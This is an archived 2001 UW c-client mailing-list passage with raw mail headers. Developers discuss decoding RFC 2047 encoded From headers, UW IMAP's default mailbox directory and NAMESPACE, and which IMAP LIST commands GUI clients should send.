Interpretation of the From field > On Sun, 19 Aug 2001 00:13:46 +0100 Mark Elvers wrote: > > ME> I'm looking for some advice on the correct way to handle a From name which > ME> c-client reports as: > ME> > ME> "=?iso-8859-1?q?matthew=20walker?=" > > c-client has functions for decoding encoded words like this in rfc822.h. > You should probably read RFC 2047 to understand how to use them. > > Regards, > VZ > > From pinedev@shivax2.cac.washington.edu Mon Aug 20 09:57:22 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 09:57:22 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KGvLn29251 for ; Mon, 20 Aug 2001 09:57:21 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 09:57:20 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KGvIE08886; Mon, 20 Aug 2001 09:57:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KGv3E28308; Mon, 20 Aug 2001 09:57:03 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KGu9085908 for ; Mon, 20 Aug 2001 09:56:10 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KGu9u12936 for ; Mon, 20 Aug 2001 09:56:09 -0700 Received: FROM patan.sun.com BY mxu1.u.washington.edu ; Mon Aug 20 09:56:08 2001 -0700 Received: from westmail2.West.Sun.COM ([129.153.100.30]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA16651 for ; Mon, 20 Aug 2001 10:56:00 -0600 (MDT) Received: from nifty-jr.west.sun.com (nifty-jr.West.Sun.COM [129.153.12.95]) by westmail2.West.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA28476 for ; Mon, 20 Aug 2001 09:56:04 -0700 (PDT) Message-Id: <590656.998301130@nifty-jr.west.sun.com> Date: Mon, 20 Aug 2001 09:52:10 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Newman To: c-client@u.washington.edu Subject: Re: IMAP In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Sunday, August 19, 2001 4:43 -0700 Mark Crispin wrote: > That's why the distribution version of UW imapd uses the home directory, > which is the closest to a reasonable default that exists, in the > assumption that if it is someplace else, a user can configure the client > (which *is* under his control) to look in that other place. > > It is not an easy problem. This is a hard problem. Indeed it may be one of those nasty "pick two of three" situations. There are three desirable properties: (1) All legacy Unix user mail files will be visible to IMAP client. (2) No server side configuration (3) No client side configuration: standard IMAP client will always work out-of-the-box with UW server But only two of the three can be achieved with unextended IMAP. The UW IMAP default achieves 1 and 2 and thus can not achieve 3. Personally, I think 3 is the most important of these properties today (although probably not 5-10 years ago when this work was initially done) and it would benefit the IMAP community if the UW IMAP server implemented property 3. It may also be possible to achieve all three properties if the IMAP server uses the NAMESPACE extension in a clever way. If the UW IMAP server always creates a "mail" subdirectory and lists "mail/" as the personal namespace, I think that would be a much better default. A compile switch for legacy installations of UW IMAP would be necessary, but with time it could be forgotten. - Chris From pinedev@shivax2.cac.washington.edu Mon Aug 20 10:20:09 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 10:20:05 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KHK3n19571 for ; Mon, 20 Aug 2001 10:20:04 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 10:20:03 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KHK0E09961; Mon, 20 Aug 2001 10:20:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KHJsX13208; Mon, 20 Aug 2001 10:19:55 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KHDl059710 for ; Mon, 20 Aug 2001 10:13:47 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KHDku20196 for ; Mon, 20 Aug 2001 10:13:46 -0700 Received: FROM shiva.jussieu.fr BY mxu1.u.washington.edu ; Mon Aug 20 10:13:45 2001 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f7KHDeO58413 for ; Mon, 20 Aug 2001 19:13:41 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f7KHDeX12726 for ; Mon, 20 Aug 2001 19:13:40 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA15510 ; Mon, 20 Aug 2001 19:13:39 +0200 Message-Id: <200108201713.TAA15510@seth.lpthe.jussieu.fr> Date: Mon, 20 Aug 2001 19:13:39 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: Interpretation of the From field In-Reply-To: <004801c12963$a961e1f0$21bf7ad5@demon.co.uk> References: <003a01c1283b$70079090$21bf7ad5@demon.co.uk> <004801c12963$a961e1f0$21bf7ad5@demon.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 20 Aug 2001 11:34:07 +0100 Mark Elvers wrote: ME> I can't find any functions in rfc822.[ch], but I did read RFC2047 and found ME> a function utf8_mime2text() in utf8.c which seems to do the conversion - is ME> this what you had in mind? In fact, no, I didn't: I'm parsing the charset myself and then call rfc822_base64() or rfc822_qprint() depending on the encoding as c-client mime2_decode() is not flexible enough for my needs. But you probably could/should use it if you don't need anything fancy unlike me. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 20 10:36:59 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 10:36:59 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KHavn15348 for ; Mon, 20 Aug 2001 10:36:57 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 10:36:53 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KHaoN12006; Mon, 20 Aug 2001 10:36:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KHadH10760; Mon, 20 Aug 2001 10:36:39 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KHa9020204 for ; Mon, 20 Aug 2001 10:36:09 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KHa9T30930 for ; Mon, 20 Aug 2001 10:36:09 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu2.u.washington.edu ; Mon Aug 20 10:36:08 2001 -0700 Message-Id: Date: Mon, 20 Aug 2001 10:22:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: Interpretation of the From field In-Reply-To: <200108201713.TAA15510@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 20 Aug 2001 19:13:39 +0200 (CET), Vadim Zeitlin wrote: > In fact, no, I didn't: I'm parsing the charset myself and then call > rfc822_base64() or rfc822_qprint() depending on the encoding as c-client > mime2_decode() is not flexible enough for my needs. But you probably > could/should use it if you don't need anything fancy unlike me. Yes; everybody please note that the only purpose of mime2_decode() is to convert a header with MIME2 encoded words into UTF-8. In all other instances, c-client treats MIME2 encoded words as a user interface issue, and leaves the tokens encoded as MIME2. This is because IMAP currently has a requirement for 7-bit for all strings which are not labelled as to character set, which results in a severe limitation on the use of 8-bit. 8-bit strings can only be transmitted as literals (8-bits in a quoted string is a violation of the protocol) and only for message body TEXT segements labelled with a character set. It is highly unlikely (read: it won't happen) that IMAP will ever relax this restriction, with one exception: 8-bit UTF-8. MIME2 encoded words are 7-bit (and are character set labelled), which comforms to IMAP and thus is the underlying reason why c-client leaves it alone. One other thing. Implementors should take note. "Verbum sat sapienti est". New applications should be written to use Unicode internally, be capable of accepting and generating UTF-8 externally, and treat all other character sets as conversions to/from the internal form. c-client will help you on the "convert from some other character set to UTF-8" side, but for the nonce you are on your own for "convert from UTF-8 to some other character set." Lots of work, enough to give us all job security for some time... :-) From pinedev@shivax2.cac.washington.edu Mon Aug 20 10:55:25 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 10:55:25 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KHtNn00836 for ; Mon, 20 Aug 2001 10:55:24 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 10:55:22 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KHtJN12762; Mon, 20 Aug 2001 10:55:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KHt5E07050; Mon, 20 Aug 2001 10:55:05 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KHsW033388 for ; Mon, 20 Aug 2001 10:54:32 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KHsWT06809 for ; Mon, 20 Aug 2001 10:54:32 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu2.u.washington.edu ; Mon Aug 20 10:54:31 2001 -0700 Message-Id: Date: Mon, 20 Aug 2001 10:00:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Newman Cc: c-client@u.washington.edu Subject: Re: IMAP In-Reply-To: <590656.998301130@nifty-jr.west.sun.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 20 Aug 2001 09:52:10 -0700, Chris Newman wrote: > It may also be possible to achieve all three properties if the IMAP server > uses the NAMESPACE extension in a clever way. If the UW IMAP server always > creates a "mail" subdirectory and lists "mail/" as the personal namespace, > I think that would be a much better default. I wish that it was that easy. Pine makes that very decision, but Pine is a UI and thus is at great liberty. The problem with choosing/making a "mail" subdirectory is that not everybody agrees that mail/ is the one true subdirectory. It's certainly one of the most popular choices (and probably the most popular choice). But there are partisans of other choices: Mail/, .mail/, Mailboxes/, Mailbox Files/, etc. This isn't a "legacy IMAP" issue. This is an issue of 30 years of UNIX MUAs, all of which have their own ideas. To make things worse, new UNIX MUAs with new (and yet more bizarre) ideas pop up all the time; there's no standard to use as ammunition to suppress "Mailbox Files/" (remember, you're talking about people who don't care whether something is convenient from the shell). Then comes the question of INBOX. UW likes to have INBOX and other "incoming folders" in the home directory on its dedicated IMAP servers, and other (secondary) mailboxes in a mail/ subdirectory (and sometimes in multiple subdirectories of that). This isn't my preferred way of doing things, but everybody else likes it a lot and it works well for them. Last but not least, I want to preserve "no server-side configuration required." Sites may *opt* to do a server-side configuration; but it is never required. A server binary will work everywhere, out of the box; it just may be that some client-side configuration is desirable. As bad as the current situation may be, I can not make a change that will make a modest increase in convenience for one portion of the community at the cost of making things much worse for another portion. I want to emphasize I am *always* interested in hearing suggestions for a solution to this problem, and will always seriously consider any suggestion. There is no need to convince me that a solution to this problem is desirable. It's just a matter of finding the right solution. Chris' suggestion was a clever one, with a twist (the use of NAMESPACE) that I haven't seen before. I'm not sure that NAMESPACE will solve it for us, due to the way a certain client (possibly heading towards extinction) handles it. But it's worth some additional musing. So, thank you Chris, for pointing out a new direction that hadn't been considered before. From pinedev@shivax2.cac.washington.edu Mon Aug 20 11:40:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 11:40:23 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KIeMn27819 for ; Mon, 20 Aug 2001 11:40:22 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 11:40:21 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KIeGE13481; Mon, 20 Aug 2001 11:40:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KId7H17954; Mon, 20 Aug 2001 11:39:07 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KIcT066850 for ; Mon, 20 Aug 2001 11:38:30 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KIcTT25736 for ; Mon, 20 Aug 2001 11:38:29 -0700 Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KIcTE13370 for ; Mon, 20 Aug 2001 11:38:29 -0700 Received: from westmail2.West.Sun.COM ([129.153.100.30]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA10741; Mon, 20 Aug 2001 11:38:27 -0700 (PDT) Received: from nifty-jr.west.sun.com (nifty-jr.West.Sun.COM [129.153.12.95]) by westmail2.West.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA07642; Mon, 20 Aug 2001 11:38:22 -0700 (PDT) Message-Id: <959874.998307269@nifty-jr.west.sun.com> Date: Mon, 20 Aug 2001 11:34:29 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Newman To: c-client Interest List Cc: Jeff Zacharias Subject: re: IMAP Problem In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Saturday, August 18, 2001 18:20 -0700 Mark Crispin wrote: > The UW IMAP server is the reference implementation of IMAP, written by the > inventor of IMAP. Programs that don't work well with UW IMAP are either > not fully compliant with the IMAP specification, or do dumb things like a > recursive list by default. When building a GUI IMAP client, it's just not obvious that the correct command set to build a standard mailbox tree widget is: LIST "" % LIST "" %/% rather than LIST "" * Especially when the developer is locked in the concept of "mail" as the (small) set of folders where the user has explicitly moved messages from their INBOX (a common misconception). So "ignorant" may be a more appropriate adjective than "dumb". I should also mention that the IETF has no concept of "reference implementation" and no references to the UW server show up in the RFCs. So someone in a corporate environment that runs commercial servers can responsibly read the RFCs and still not know that testing with both open-source IMAP implementations is a good idea. And the developers were probably told not to talk about the fact they were working on a mail client to people outside of Apple (standard stupid corporate behavior) so they didn't have a chance to ask. > My suggestion is to get rid of the Apple mail program and use a good IMAP > client. One of the weaknesses of the IMAP community is that there are no IMAP clients with _both_ a good user interface and a good understanding of the protocol. We seem to get only one or the other or a compromise. We need more IMAP clients with really good user interfaces, so rather than telling people not to use the Mac OS X mail client, I believe it would be more constructive to lobby the OS X client people to fix any unwise use of the protocol. Incidentally, I have contact addresses for some people in the OS X IMAP client team. If we can gather evidence (e.g., a protocol trace) that they're doing LIST "" * when they should be doing LIST "" % and LIST "" %/%, I'd be glad to explain to them what they need to fix and why. - Chris From pinedev@shivax2.cac.washington.edu Mon Aug 20 12:10:00 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 12:10:00 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KJ9un22789 for ; Mon, 20 Aug 2001 12:09:58 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 12:09:56 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KJ9rE14807; Mon, 20 Aug 2001 12:09:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KJ9ep19908; Mon, 20 Aug 2001 12:09:40 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KJ8x024554 for ; Mon, 20 Aug 2001 12:08:59 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KJ8xT04458 for ; Mon, 20 Aug 2001 12:08:59 -0700 Received: FROM mx2.cac.washington.edu BY mxu2.u.washington.edu ; Mon Aug 20 12:08:59 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (terianne@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KJ8wE14768 for ; Mon, 20 Aug 2001 12:08:58 -0700 Message-Id: Date: Mon, 20 Aug 2001 11:42:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Newman Cc: c-client Interest List , Jeff Zacharias Subject: re: IMAP Problem In-Reply-To: <959874.998307269@nifty-jr.west.sun.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 20 Aug 2001 11:34:29 -0700, Chris Newman wrote: > When building a GUI IMAP client, it's just not obvious that the correct > command set to build a standard mailbox tree widget is: > LIST "" % Yes. > LIST "" %/% Not necessarily. I understand why some GUIs do this, but I don't accept the reasoning because I consider that reasoning to be fundamentally flawed. Since there is no current mechanism to announce newly-created mailboxes, a client must continuously issue %/% requests in order for that GUI functionality to work right. More specifically, to be considered "acceptable" in my book, any IMAP client which has a "smart" directory open widget (that doesn't offer the widget if the directory is empty) MUST immediately offer the widget when an external agent creates an inferior in a previously-empty directory. > rather than > LIST "" * This is covered into RFC 2683, section 3.2.1.1 > I should also mention that the IETF has no concept of "reference > implementation" and no references to the UW server show up in the RFCs. That may be, but the UW implementation has been referred to as the reference implementation innumerable times by a great many individuals, including you. It is good practice, to say the least, for a developer to make an attempt to identify and contact an existing user/developer community rather than blindly implement from the RFCs. I am hard-pressed to think of any Internet protocol in which a successful implementation can be made with absolutely no contact or interchange with the existing community. Certainly not with Telnet, FTP, HTTP, SMTP, and (especially!!) NNTP. Not that the IMAP specification can't do a better job. It can. But, I think that a developer who implements strictly from the relevant RFCs (which includes 2683) will get closer to a usable implementation with IMAP than with many other Internet protocols. > One of the weaknesses of the IMAP community is that there are no IMAP > clients with _both_ a good user interface and a good understanding of the > protocol. Pine has an excellent user interface and excellent understanding of the protocol. My old MailManager application for the NeXT also does (I still find it quite usable), modulo lack of HTML support. I can think of at least two actively-marketed GUI programs which have good user interfaces and excellent understanding of IMAP (I won't name them, for fear of inadvertantly bad-mouthing another that I've overlooked). The problem is not the lack of good IMAP clients. > Incidentally, I have contact addresses for some people in the OS X IMAP > client team. If we can gather evidence (e.g., a protocol trace) that > they're doing LIST "" * when they should be doing LIST "" % and LIST "" > %/%, I'd be glad to explain to them what they need to fix and why. That would be a good idea. Thanks. If it is the program that I think it is, I offered to talk to those guys many years ago and was rebuffed. Maybe you'll have more success. From pinedev@shivax2.cac.washington.edu Mon Aug 20 12:23:44 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 12:23:44 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KJNgn14606 for ; Mon, 20 Aug 2001 12:23:43 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 12:23:41 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KJNdN16639; Mon, 20 Aug 2001 12:23:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KJNUE32254; Mon, 20 Aug 2001 12:23:30 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KJHQ039888 for ; Mon, 20 Aug 2001 12:17:26 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KJHPq11101 for ; Mon, 20 Aug 2001 12:17:26 -0700 Received: FROM mx2.cac.washington.edu BY mxu4.u.washington.edu ; Mon Aug 20 12:17:25 2001 -0700 Received: from octane.nt4.com (CPE-203-45-51-190.vic.bigpond.net.au [203.45.51.190]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KJHKE15174 for ; Mon, 20 Aug 2001 12:17:24 -0700 Received: from g (trilluser@dhcp22 [192.168.0.22]) by octane.nt4.com (8.10.2/8.10.2) with SMTP id f7JJEvp20627 for ; Mon, 20 Aug 2001 05:14:57 +1000 Message-Id: <006801c129aa$e123e650$1600a8c0@2k.nt4.com> Date: Tue, 21 Aug 2001 05:04:03 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Herr Doktor C. Lesser" To: "c-client Interest List" Subject: Re: IMAP Problem References: <959874.998307269@nifty-jr.west.sun.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Personally, I found the problem was the documentation was so overwhelming, that it was far easier to look at an existing implementation (by sniffing packets, etc) and build on that while reducing the status of the RFC to a mere reference to be used while transalting the sniffer logs. And I'm guessing that the people who wrote the software I was sniffing took similar shortcuts. Chinese whispers? Or maybe I'm the only programmer too lazy to read RFC's completely? :) Cyrus ----- Original Message ----- From: "Chris Newman" To: "c-client Interest List" Cc: "Jeff Zacharias" Sent: Tuesday, August 21, 2001 4:34 AM Subject: re: IMAP Problem > --On Saturday, August 18, 2001 18:20 -0700 Mark Crispin > wrote: > > The UW IMAP server is the reference implementation of IMAP, written by the > > inventor of IMAP. Programs that don't work well with UW IMAP are either > > not fully compliant with the IMAP specification, or do dumb things like a > > recursive list by default. > > When building a GUI IMAP client, it's just not obvious that the correct > command set to build a standard mailbox tree widget is: > > LIST "" % > LIST "" %/% > > rather than > > LIST "" * > > Especially when the developer is locked in the concept of "mail" as the > (small) set of folders where the user has explicitly moved messages from > their INBOX (a common misconception). So "ignorant" may be a more > appropriate adjective than "dumb". > > I should also mention that the IETF has no concept of "reference > implementation" and no references to the UW server show up in the RFCs. So > someone in a corporate environment that runs commercial servers can > responsibly read the RFCs and still not know that testing with both > open-source IMAP implementations is a good idea. And the developers were > probably told not to talk about the fact they were working on a mail client > to people outside of Apple (standard stupid corporate behavior) so they > didn't have a chance to ask. > > > My suggestion is to get rid of the Apple mail program and use a good IMAP > > client. > > One of the weaknesses of the IMAP community is that there are no IMAP > clients with _both_ a good user interface and a good understanding of the > protocol. We seem to get only one or the other or a compromise. We need > more IMAP clients with really good user interfaces, so rather than telling > people not to use the Mac OS X mail client, I believe it would be more > constructive to lobby the OS X client people to fix any unwise use of the > protocol. > > Incidentally, I have contact addresses for some people in the OS X IMAP > client team. If we can gather evidence (e.g., a protocol trace) that > they're doing LIST "" * when they should be doing LIST "" % and LIST "" > %/%, I'd be glad to explain to them what they need to fix and why. > > - Chris > > From pinedev@shivax2.cac.washington.edu Mon Aug 20 13:07:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 13:07:06 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KK74n24445 for ; Mon, 20 Aug 2001 13:07:04 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 13:07:03 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KK70E16949; Mon, 20 Aug 2001 13:07:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KK6KE20700; Mon, 20 Aug 2001 13:06:20 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KK5f097232 for ; Mon, 20 Aug 2001 13:05:42 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KK5fT24154 for ; Mon, 20 Aug 2001 13:05:41 -0700 Received: FROM mx2.cac.washington.edu BY mxu2.u.washington.edu ; Mon Aug 20 13:05:41 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (allos@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KK5fE16905 for ; Mon, 20 Aug 2001 13:05:41 -0700 Message-Id: Date: Mon, 20 Aug 2001 12:58:49 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk 